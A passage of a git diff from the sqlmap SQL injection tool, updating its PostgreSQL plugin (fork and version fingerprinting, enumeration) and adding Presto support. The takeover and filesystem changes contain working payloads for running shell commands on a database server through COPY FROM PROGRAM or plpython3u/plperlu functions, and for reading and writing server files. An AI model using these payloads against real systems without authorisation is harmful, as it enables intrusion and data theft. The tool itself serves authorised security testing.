self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.PGSQL] = Syntax.escape diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index e60e7777a60..33923e8f1d5 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: @@ -10,9 +10,10 @@ import psycopg2.extensions psycopg2.extensions.register_type(psycopg2.extensions.UNICODE) psycopg2.extensions.register_type(psycopg2.extensions.UNICODEARRAY) -except ImportError: +except: pass +from lib.core.common import getSafeExString from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector @@ -28,16 +29,13 @@ class Connector(GenericConnector): Possible connectors: http://wiki.python.org/moin/PostgreSQL """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() try: self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port) - except psycopg2.OperationalError, msg: - raise SqlmapConnectionException(msg) + except (psycopg2.OperationalError, UnicodeDecodeError) as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.set_client_encoding('UNICODE') @@ -47,8 +45,8 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except psycopg2.ProgrammingError, msg: - logger.warn(msg) + except psycopg2.ProgrammingError as ex: + logger.warning(getSafeExString(ex)) return None def execute(self, query): @@ -57,10 +55,13 @@ def execute(self, query): try: self.cursor.execute(query) retVal = True - except (psycopg2.OperationalError, psycopg2.ProgrammingError), msg: - logger.warn(("(remote) %s" % msg).strip()) - except psycopg2.InternalError, msg: - raise SqlmapConnectionException(msg) + # Note: also catch DataError/IntegrityError (e.g. division-by-zero, bad cast, unique violation from a + # user '--sql-query') so the commit() below still runs and clears the aborted transaction; otherwise + # PostgreSQL poisons every later query with 'InFailedSqlTransaction' and silently returns None + except (psycopg2.OperationalError, psycopg2.ProgrammingError, psycopg2.DataError, psycopg2.IntegrityError) as ex: + logger.warning(("(remote) '%s'" % getSafeExString(ex)).strip()) + except psycopg2.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index d379c2512de..e52208d67af 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -1,18 +1,71 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.common import Backend from lib.core.data import logger +from lib.core.data import queries +from lib.core.enums import DBMS +from lib.core.enums import FORK from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getHostname(self): warnMsg = "on PostgreSQL it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) + + def getColumns(self, *args, **kwargs): + if not Backend.isFork(FORK.DUCKDB): + return GenericEnumeration.getColumns(self, *args, **kwargs) + + # DuckDB (PostgreSQL fork) exposes column metadata through information_schema instead of the + # pg_catalog tables (pg_attribute yields no rows), so swap those queries in for the generic routine + columns = queries[DBMS.PGSQL].columns + backup = (columns.inband.query, columns.inband.condition, columns.blind.query, columns.blind.query2, columns.blind.count, columns.blind.condition) + + columns.inband.query = "SELECT column_name,data_type FROM information_schema.columns WHERE table_name='%s' AND table_schema='%s' ORDER BY column_name" + columns.blind.query = "SELECT column_name FROM information_schema.columns WHERE table_name='%s' AND table_schema='%s' ORDER BY column_name" + columns.blind.query2 = "SELECT data_type FROM information_schema.columns WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" + columns.blind.count = "SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='%s' AND table_schema='%s'" + columns.inband.condition = columns.blind.condition = "column_name" + + try: + return GenericEnumeration.getColumns(self, *args, **kwargs) + finally: + columns.inband.query, columns.inband.condition, columns.blind.query, columns.blind.query2, columns.blind.count, columns.blind.condition = backup + + def getUsers(self): + if Backend.isFork(FORK.DUCKDB): + warnMsg = "on DuckDB it is not possible to enumerate the users" + logger.warning(warnMsg) + return [] + + return GenericEnumeration.getUsers(self) + + def getPasswordHashes(self): + if Backend.isFork(FORK.DUCKDB): + warnMsg = "on DuckDB it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + return {} + + return GenericEnumeration.getPasswordHashes(self) + + def getPrivileges(self, query2=False): + if Backend.isFork(FORK.DUCKDB): + warnMsg = "on DuckDB it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + return {} + + return GenericEnumeration.getPrivileges(self, query2) + + def getRoles(self, query2=False): + if Backend.isFork(FORK.DUCKDB): + warnMsg = "on DuckDB it is not possible to enumerate the user roles" + logger.warning(warnMsg) + return {} + + return GenericEnumeration.getRoles(self, query2) diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index bfa285091ad..9c3bdb385eb 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -1,14 +1,17 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os from lib.core.common import randomInt +from lib.core.compat import xrange +from lib.core.data import kb from lib.core.data import logger +from lib.core.enums import CHARSET_TYPE from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import LOBLKSIZE from lib.request import inject @@ -21,22 +24,32 @@ def __init__(self): GenericFilesystem.__init__(self) - def stackedReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile - logger.info(infoMsg) + def stackedReadFile(self, remoteFile): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) self.initEnv() - return self.udfEvalCmd(cmd=rFile, udfName="sys_fileread") + return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread") - def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): + def nonStackedReadFile(self, remoteFile): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) + + # a superuser (or a member of the pg_read_server_files role on PostgreSQL >= 11) can read + # files in-band via pg_read_binary_file(), so file reading does not require stacked queries + return inject.getValue("ENCODE(PG_READ_BINARY_FILE('%s'),'hex')" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + + def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "PostgreSQL does not support file upload with UNION " errMsg += "query SQL injection technique" raise SqlmapUnsupportedFeatureException(errMsg) - def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): - wFileSize = os.path.getsize(wFile) - content = open(wFile, "rb").read() + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): + localFileSize = os.path.getsize(localFile) + content = open(localFile, "rb").read() self.oid = randomInt() self.page = 0 @@ -55,25 +68,25 @@ def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): inject.goStacked("SELECT lo_create(%d)" % self.oid) inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid) - for offset in xrange(0, wFileSize, LOBLKSIZE): + for offset in xrange(0, localFileSize, LOBLKSIZE): fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False) sqlQueries = self.fileToSqlQueries(fcEncodedList) for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) - inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName)) + inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT ARRAY_TO_STRING(ARRAY_AGG(%s), '') FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName)) inject.goStacked("DELETE FROM %s" % self.fileTblName) self.page += 1 debugMsg = "exporting the OID %s file content to " % fileType - debugMsg += "file '%s'" % dFile + debugMsg += "file '%s'" % remoteFile logger.debug(debugMsg) - inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) + inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, remoteFile), silent=True) - written = self.askCheckWrittenFile(wFile, dFile, forceCheck) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) inject.goStacked("SELECT lo_unlink(%d)" % self.oid) diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 3391f711ee3..3bcf8a51073 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -1,16 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import PGSQL_ALIASES @@ -22,6 +26,32 @@ def __init__(self): GenericFingerprint.__init__(self, DBMS.PGSQL) def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("VERSION() LIKE '%CockroachDB%'"): + fork = FORK.COCKROACHDB + elif inject.checkBooleanExpression("VERSION() LIKE '%Redshift%'"): # Reference: https://dataedo.com/kb/query/amazon-redshift/check-server-version + fork = FORK.REDSHIFT + elif inject.checkBooleanExpression("VERSION() LIKE '%Greenplum%'"): # Reference: http://www.sqldbpros.com/wordpress/wp-content/uploads/2014/08/what-version-of-greenplum.png + fork = FORK.GREENPLUM + elif inject.checkBooleanExpression("VERSION() LIKE '%Yellowbrick%'"): # Reference: https://www.yellowbrick.com/docs/3.3/ybd_sqlref/version.html + fork = FORK.YELLOWBRICK + elif inject.checkBooleanExpression("VERSION() LIKE '%EnterpriseDB%'"): # Reference: https://www.enterprisedb.com/edb-docs/d/edb-postgres-advanced-server/user-guides/user-guide/11/EDB_Postgres_Advanced_Server_Guide.1.087.html + fork = FORK.ENTERPRISEDB + elif inject.checkBooleanExpression("VERSION() LIKE '%YB-%'"): # Reference: https://github.com/yugabyte/yugabyte-db/issues/2447#issue-499562926 + fork = FORK.YUGABYTEDB + elif inject.checkBooleanExpression("VERSION() LIKE '%openGauss%'"): + fork = FORK.OPENGAUSS + elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ + fork = FORK.AURORA + elif inject.checkBooleanExpression("[1,2,3][2]=2"): # NOTE: bare list literal with 1-based indexing is DuckDB-only (invalid syntax on PostgreSQL) + fork = FORK.DUCKDB + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -38,6 +68,8 @@ def getFingerprint(self): if not conf.extensiveFp: value += DBMS.PGSQL + if fork: + value += " (%s fork)" % fork return value actVer = Format.getDbms() @@ -45,25 +77,30 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): """ References for fingerprint: - * http://www.postgresql.org/docs/9.1/interactive/release.html (up to 9.1.3) + * https://www.postgresql.org/docs/current/static/release.html """ - if not conf.extensiveFp and (Backend.isDbmsWithin(PGSQL_ALIASES) or (conf.dbms or "").lower() in PGSQL_ALIASES): + if not conf.extensiveFp and Backend.isDbmsWithin(PGSQL_ALIASES): setDbms(DBMS.PGSQL) self.getBanner() @@ -73,7 +110,9 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.PGSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("[RANDNUM]::int=[RANDNUM]") + # NOTE: Vertica works too without the CONVERT_TO() + # NOTE: DuckDB (PostgreSQL dialect fork) lacks CONVERT_TO()/QUOTE_IDENT(), so it is accepted via its list-literal instead + result = inject.checkBooleanExpression("CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL") or inject.checkBooleanExpression("[1,2,3][2]=2") if result: infoMsg = "confirming %s" % DBMS.PGSQL @@ -83,7 +122,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -97,8 +136,34 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.PGSQL logger.info(infoMsg) - if inject.checkBooleanExpression("REVERSE('sqlmap')='pamlqs'"): - Backend.setVersion(">= 9.1.0") + if inject.checkBooleanExpression("JSON_QUERY(NULL::jsonb, '$') IS NULL"): + Backend.setVersion(">= 17.0") + elif inject.checkBooleanExpression("RANDOM_NORMAL(0.0, 1.0) IS NOT NULL"): + Backend.setVersion(">= 16.0") + elif inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"): + Backend.setVersion(">= 15.0") + elif inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"): + Backend.setVersion(">= 14.0") + elif inject.checkBooleanExpression("NULL::anycompatible IS NULL"): + Backend.setVersion(">= 13.0") + elif inject.checkBooleanExpression("SINH(0)=0"): + Backend.setVersion(">= 12.0") + elif inject.checkBooleanExpression("SHA256(NULL) IS NULL"): + Backend.setVersion(">= 11.0") + elif inject.checkBooleanExpression("XMLTABLE(NULL) IS NULL"): + Backend.setVersionList([">= 10.0", "< 11.0"]) + elif inject.checkBooleanExpression("SIND(0)=0"): + Backend.setVersionList([">= 9.6.0", "< 10.0"]) + elif inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"): + Backend.setVersionList([">= 9.5.0", "< 9.6.0"]) + elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"): + Backend.setVersionList([">= 9.4.0", "< 9.5.0"]) + elif inject.checkBooleanExpression("ARRAY_REPLACE(NULL,1,1) IS NULL"): + Backend.setVersionList([">= 9.3.0", "< 9.4.0"]) + elif inject.checkBooleanExpression("ROW_TO_JSON(NULL) IS NULL"): + Backend.setVersionList([">= 9.2.0", "< 9.3.0"]) + elif inject.checkBooleanExpression("REVERSE('sqlmap')='pamlqs'"): + Backend.setVersionList([">= 9.1.0", "< 9.2.0"]) elif inject.checkBooleanExpression("LENGTH(TO_CHAR(1,'EEEE'))>0"): Backend.setVersionList([">= 9.0.0", "< 9.1.0"]) elif inject.checkBooleanExpression("2=(SELECT DIV(6,3))"): @@ -135,7 +200,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py index 7bb90462505..f730a800107 100644 --- a/plugins/dbms/postgresql/syntax.py +++ b/plugins/dbms/postgresql/syntax.py @@ -1,27 +1,25 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ Note: PostgreSQL has a general problem with concenation operator (||) precedence (hence the parentheses enclosing) e.g. SELECT 1 WHERE 'a'!='a'||'b' will trigger error ("argument of WHERE must be type boolean, not type text") - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - 'SELECT (CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104)) FROM foobar' + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT (CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104)) FROM foobar" + True """ def escaper(value): - return "(%s)" % "||".join("CHR(%d)" % ord(_) for _ in value) # Postgres CHR() function already accepts Unicode code point of character(s) + return "(%s)" % "||".join("CHR(%d)" % _ for _ in getOrds(value)) # Postgres CHR() function already accepts Unicode code point of character(s) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 0e4794acd56..709f6ff2e5a 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os @@ -10,7 +10,15 @@ from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import decloakToTemp +from lib.core.common import flattenValue +from lib.core.common import filterNone +from lib.core.common import isListLike +from lib.core.common import isNoneValue +from lib.core.common import isStackingAvailable from lib.core.common import randomStr +from lib.core.compat import LooseVersion +from lib.core.convert import getText +from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths @@ -21,9 +29,6 @@ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def udfSetRemotePath(self): # On Windows if Backend.isOs(OS.WINDOWS): @@ -48,16 +53,13 @@ def udfSetLocalPaths(self): banVer = kb.bannerFp["dbmsVersion"] - if banVer >= "9.1": - majorVer = "9.1" - elif banVer >= "9.0": - majorVer = "9.0" - elif banVer >= "8.4": - majorVer = "8.4" - elif banVer >= "8.3": - majorVer = "8.3" - elif banVer >= "8.2": - majorVer = "8.2" + if not banVer or not banVer[0].isdigit(): + errMsg = "unsupported feature on unknown version of PostgreSQL" + raise SqlmapUnsupportedFeatureException(errMsg) + elif LooseVersion(banVer) >= LooseVersion("10"): + majorVer = banVer.split('.')[0] + elif LooseVersion(banVer) >= LooseVersion("8.2") and '.' in banVer: + majorVer = '.'.join(banVer.split('.')[:2]) else: errMsg = "unsupported feature on versions of PostgreSQL before 8.2" raise SqlmapUnsupportedFeatureException(errMsg) @@ -96,3 +98,79 @@ def uncPathRequest(self): self.createSupportTbl(self.fileTblName, self.tblField, "text") inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True) self.cleanup(onlyFileTbl=True) + + def copyExecCmd(self, cmd): + output = None + + if isStackingAvailable() or conf.direct: + # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 + self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName + self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField) + self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''")) + inject.goStacked(self._forgedCmd) + + query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName) + output = inject.getValue(query, resumeValue=False) + + if isListLike(output): + output = flattenValue(output) + output = filterNone(output) + + if not isNoneValue(output): + output = os.linesep.join(output) + + self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName + inject.goStacked(self._cleanupCmd) + + return output + + def checkCopyExec(self): + if kb.copyExecTest is None: + kb.copyExecTest = self.copyExecCmd("echo 1") == '1' + + return kb.copyExecTest + + def _plRun(self, func, cmd): + output = inject.getValue("%s('%s')" % (func, cmd.replace("'", "''")), resumeValue=False, safeCharEncode=False) + + if isListLike(output): + output = flattenValue(output) + output = filterNone(output) + + if not isNoneValue(output): + output = os.linesep.join(getText(_) for _ in output) + + return output + + def _plExecFunc(self): + # NOTE: forge a command-exec function through an untrusted procedural language. Unlike the shared + # library UDF this needs no precompiled binary (the ancient 'lib_postgresqludf_sys' artifacts), + # only a superuser-installable language - a maintainable fallback when 'COPY ... FROM PROGRAM' is blocked + if kb.get("plExecFunc") is None: + kb.plExecFunc = "" + + if isStackingAvailable() or conf.direct: + func = randomStr(lowercase=True) + + for language, body in (("plpython3u", "import subprocess; return subprocess.check_output(cmd, shell=True).decode()"), + ("plperlu", "return `$_[0]`;")): + inject.goStacked("CREATE EXTENSION IF NOT EXISTS %s" % language, silent=True) + inject.goStacked("CREATE OR REPLACE FUNCTION %s(cmd text) RETURNS text AS $$ %s $$ LANGUAGE %s" % (func, body, language), silent=True) + + if (self._plRun(func, "echo 1") or "").strip() == '1': + kb.plExecFunc = func + + infoMsg = "the back-end DBMS allows command execution via the '%s' procedural language" % language + logger.info(infoMsg) + + break + + return kb.plExecFunc or None + + def checkPlExec(self): + return self._plExecFunc() is not None + + def plExecCmd(self, cmd, silent=False): + func = self._plExecFunc() + + return self._plRun(func, cmd) if func else None diff --git a/plugins/dbms/presto/__init__.py b/plugins/dbms/presto/__init__.py new file mode 100644 index 00000000000..4fe48fc89ac --- /dev/null +++ b/plugins/dbms/presto/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import PRESTO_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.presto.enumeration import Enumeration +from plugins.dbms.presto.filesystem import Filesystem +from plugins.dbms.presto.fingerprint import Fingerprint +from plugins.dbms.presto.syntax import Syntax +from plugins.dbms.presto.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class PrestoMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Presto methods + """ + + def __init__(self): + self.excludeDbsList = PRESTO_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.PRESTO] = Syntax.escape diff --git a/plugins/dbms/presto/connector.py b/plugins/dbms/presto/connector.py new file mode 100644 index 00000000000..f190c7ce2ea --- /dev/null +++ b/plugins/dbms/presto/connector.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import prestodb +except: + pass + +import logging +import struct + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/prestodb/presto-python-client + User guide: https://github.com/prestodb/presto-python-client/blob/master/README.md + API: https://www.python.org/dev/peps/pep-0249/ + PyPI package: presto-python-client + License: Apache License 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = prestodb.dbapi.connect(host=self.hostname, user=self.user, catalog=self.db, port=self.port, request_timeout=conf.timeout) + except (prestodb.exceptions.OperationalError, prestodb.exceptions.InternalError, prestodb.exceptions.ProgrammingError, struct.error) as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except prestodb.exceptions.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except (prestodb.exceptions.OperationalError, prestodb.exceptions.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except prestodb.exceptions.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + return retVal + + def select(self, query): + retVal = None + + if self.execute(query): + retVal = self.fetchall() + + return retVal diff --git a/plugins/dbms/presto/enumeration.py b/plugins/dbms/presto/enumeration.py new file mode 100644 index 00000000000..5843d9e521a --- /dev/null +++ b/plugins/dbms/presto/enumeration.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + # NOTE: getBanner()/getCurrentDb() are intentionally NOT overridden - modern Presto/Trino expose + # version() and current_schema (wired in queries.xml), so the generic implementations work. + + def isDba(self, user=None): + warnMsg = "on Presto it is not possible to test if current user is DBA" + logger.warning(warnMsg) + + def getUsers(self): + warnMsg = "on Presto it is not possible to enumerate the users" + logger.warning(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Presto it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Presto it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Presto it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Presto it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Presto it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/presto/filesystem.py b/plugins/dbms/presto/filesystem.py new file mode 100644 index 00000000000..33793a67f47 --- /dev/null +++ b/plugins/dbms/presto/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Presto it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Presto it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/presto/fingerprint.py b/plugins/dbms/presto/fingerprint.py new file mode 100644 index 00000000000..4b6cd9e8b39 --- /dev/null +++ b/plugins/dbms/presto/fingerprint.py @@ -0,0 +1,158 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS +from lib.core.session import setDbms +from lib.core.settings import PRESTO_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.PRESTO) + + def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + # Trino (the PrestoSQL fork) exposes functions PrestoDB never added (e.g. SOUNDEX), + # so a NULL-based probe on one of them distinguishes the fork from the original. + if inject.checkBooleanExpression("SOUNDEX(NULL) IS NULL"): + fork = FORK.TRINO + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.PRESTO + if fork: + value += " (%s fork)" % fork + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(PRESTO_ALIASES): + setDbms(DBMS.PRESTO) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.PRESTO + logger.info(infoMsg) + + result = inject.checkBooleanExpression("TO_BASE64URL(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.PRESTO + logger.info(infoMsg) + + result = inject.checkBooleanExpression("TO_HEX(FROM_HEX(NULL)) IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO + logger.warning(warnMsg) + + return False + + 